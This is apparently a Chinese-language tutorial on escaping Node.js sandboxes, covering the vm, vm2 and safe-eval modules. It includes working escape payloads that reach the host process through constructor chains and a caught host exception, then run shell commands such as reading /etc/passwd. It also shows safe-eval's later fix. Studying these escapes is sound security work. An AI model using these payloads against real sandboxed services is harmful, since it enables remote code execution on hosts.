Node.js沙箱逃逸

什么是沙箱(sandbox)

在计算机安全性方面，沙箱（沙盒、sanbox）是分离运行程序的安全机制，提供一个隔离环境以运行程序。通常情况下，在沙箱环境下运行的程序访问计算机资源会受到限制或者禁止，资源包括内存、网络访问、主机系统等等。

沙箱通常用于执行不受信任的程序或代码，例如用户输入、第三方模块等等。其目的为了减少或者避免软件漏洞对计算机造成破坏的风险。

沙箱技术的实现 & node.js

沙箱技术按照设定的安全策略，限制不可信程序对系统资源的使用来实现，那么就要在访问系统资源之前将程序的系统调用拦截下来，然后按照安全策略对调用进行审查。

基于JavaScript的node.js有一些提供沙箱环境的模块，它们也根据这样的思路来实现，例如 vm2 模块使用到了 ES6 提供的新特性–Proxy。

Proxy 对象用于创建一个对象的代理，从而实现基本操作的拦截和自定义（如属性查找、赋值、枚举、函数调用等）。 – MDN

简单地说，就是在对某个对象进行操作之前，例如访问它的属性或者调用它的方法，先传递给与对象绑定的 Proxy ，由 Proxy 执行具体的逻辑。

例子：

const handler = {get: function(obj, prop) {return prop in obj ? obj[prop] : 37;}
};const p = new Proxy({}, handler);     // 创建一个绑定代理的对象
p.a = 1;
p.b = undefined;console.log(p.a, p.b);      // 1, undefined
console.log('c' in p, p.c); // false, 37

访问 p.c 时，p.c 并未定义，但由于 Proxy 给 p 对象绑定了一个控制器 handler，从而改变访问 p 对象的属性的逻辑，让它为 p.c 返回 37 的值。

从这种拦截调用的思路出发，在 node.js 中可以这样实现一个沙箱环境，在内部访问外部的变量、函数或对象等资源时，将其拦截下来，然后再判断是允许还是禁止。

vm模块

context

vm 模块创建一个V8虚拟引擎 context（上下文、环境）来编译和运行代码。

context 是语境、环境、上下文的意思，类似于文章的语境，一句话的意思需要根据语境推断，即文章的上下文。以此类比，这里的 context 是 JavaScript 代码所处的环境（有点像作用域的概念），一条代码语句在不同的环境执行的结果也不同。

调用代码与被调用代码处于不同的 context，意味着它们的 global 对象是不同的。

例子：

const vm = require('vm');// global下定义一个 x 变量
const x = 1;// context也定义一个 x 变量
const context = { x: 2 };
vm.createContext(context);          // 语境化 {x:2}// code包含的代码将在 context 下执行，所以其中所有代码访问的变量都是 context 下的
const code = 'x += 40; var y = 17;';
vm.runInContext(code, context);// context = {x:42, y:17}
console.log(context.x); // 42
console.log(context.y); // 17// global没有被改动
console.log(x); // 1; y is not defined.

code执行的环境是 context ，它访问的全局对象就是访问自定义的 context 对象。

contextify 语境化

根据 V8 引擎的文档指明：

在 V8 中，context 是一个执行环境，它允许在隔离的、无关联的一个 V8 实例中运行 JavaScript 应用。你必须为运行的任何JavaScript代码指定所应该处于的 context。

vm.createContext() 有一个 contextobject 参数，用于接收一个对象（如果没有，就在模块内部创建一个），所谓语境化就是创建一个 context（对象）然后传入 contextObject 作为代码执行环境的过程。

vm逃逸

vm创建一个新的 context 执行 JavaScript 代码，不能访问 global 对象，看起来就像一个沙箱了。

例如我们想要访问 process：

"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`process`);   // 默认 context = {}
console.log(xyz);

结果：

预料之中，因为 process 不存在于新的 context，它存在于原来的 context 中，而原来的 context 的 global 对象有 process 属性：

"use strict";
console.log(process)

结果：

通过对象带有的 constructor 属性逃逸：

"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`this.constructor.constructor('return process.env')()`);
console.log(xyz);  // xyz的值为最后一句JavaScript代码执行的结果，这里是函数返回值

结果：

this引用的是当前所在的一个对象，这里是传入 contextObject 的对象，它在外部定义，所以它属于外部的 context。通过 .constructor 得到 Object Contrustor ，再通过 .constructor 得到 Function constructor，这是函数的构造函数，通过传入一个包含代码的字符串参数就能创建一个新的函数，最后的 () 就是调用这个函数。

获得 process 之后就能 RCE 了。

"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()`);
console.log(xyz);

vm2模块

nodejs.js 内置的 vm 模块提供的沙箱环境的隔离程度不高，因此最好不要执行不受信任的代码，这一点在node.js文档中明确指出。

vm2是一个第三方模块，基于vm模块、Proxy特性、require重写来实现，能提供隔离程度更高的沙箱。

vm的例子在vm2运行：

"use strict";
const {VM} = require('vm2');
new VM().run('this.constructor.constructor("return process")()');

结果：

这次通过 this.constructor.constructor 也不能获取 process 了。这是由于 vm2 语境化了在 vm context 中的所有对象，.constructor指向的构造函数并不是外部的 context 。

// vm
"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`this.constructor.constructor`);
console.log(xyz)                       // Function: Function
console.log(xyz === {}.constructor.constructor);       // true// vm2
"use strict";
const {VM} = require('vm2');
const xyz = new VM().run('this.constructor.constructor');
console.log(xyz)                       // Function: Function
console.log(xyz === {}.constructor.constructor)        // false

vm2逃逸

逃逸的思路：我们需要一些沙箱外的东西，它不在沙箱 context 的限制范围内，通过它就能再次访问 constructor 。

异常处理机制 try catch 就能做到这一点，主进程在 try 抛出异常，然后在 catch 捕获 error 对象，通过这个 error 对象引用到 process 。

const {NodeVM} = require('vm2');
nvm = new NodeVM()nvm.run(`try {this.process.removeListener(); } catch (host_exception) {console.log('host exception: ' + host_exception.toString());// 通过 error 对象引用host_constructor = host_exception.constructor.constructor;host_process = host_constructor('return this')().process;child_process = host_process.mainModule.require("child_process");console.log(child_process.execSync("whoami").toString());}`);

结果：

safe-eval模块

safe-eval 第三方模块基于内置模块 vm 实现，可以用于执行 JavaScript 代码，默认能访问 V8 引擎的 JavaScript APIs，而不能访问 node.js 的 APIs，但通过传入 context 也能实现对它们的访问。

safeEval(code, [context], [options])

context 是一个包含属性和方法的对象，这些方法和属性从全局，所以要注意传入的属性和方法，否则会造成沙箱逃逸。

safe-eval逃逸

在 version <= 0.3.0 中，safe-eval 存在沙箱逃逸的漏洞：

>npm i safe-eval@0.3.0

// test.js
const safeEval = require('safe-eval')
var code = `this.constructor.constructor('return process')()
`
var evaluated = safeEval(code)
console.log(evaluated)            // process [....]

0.4.0 的修补方法是将对象的 constructor 重新定义为 undefined，包括在 context 传入的对象：

const safeEval = require('safe-eval')var code = 'this.constructor'
var evaluated = safeEval(code)
console.log(evaluated)             // undefinedvar code = 'a'
var evaluated2 = safeEval(code, {a:{})
console.log(evaluated2)           // {constructor: undefined}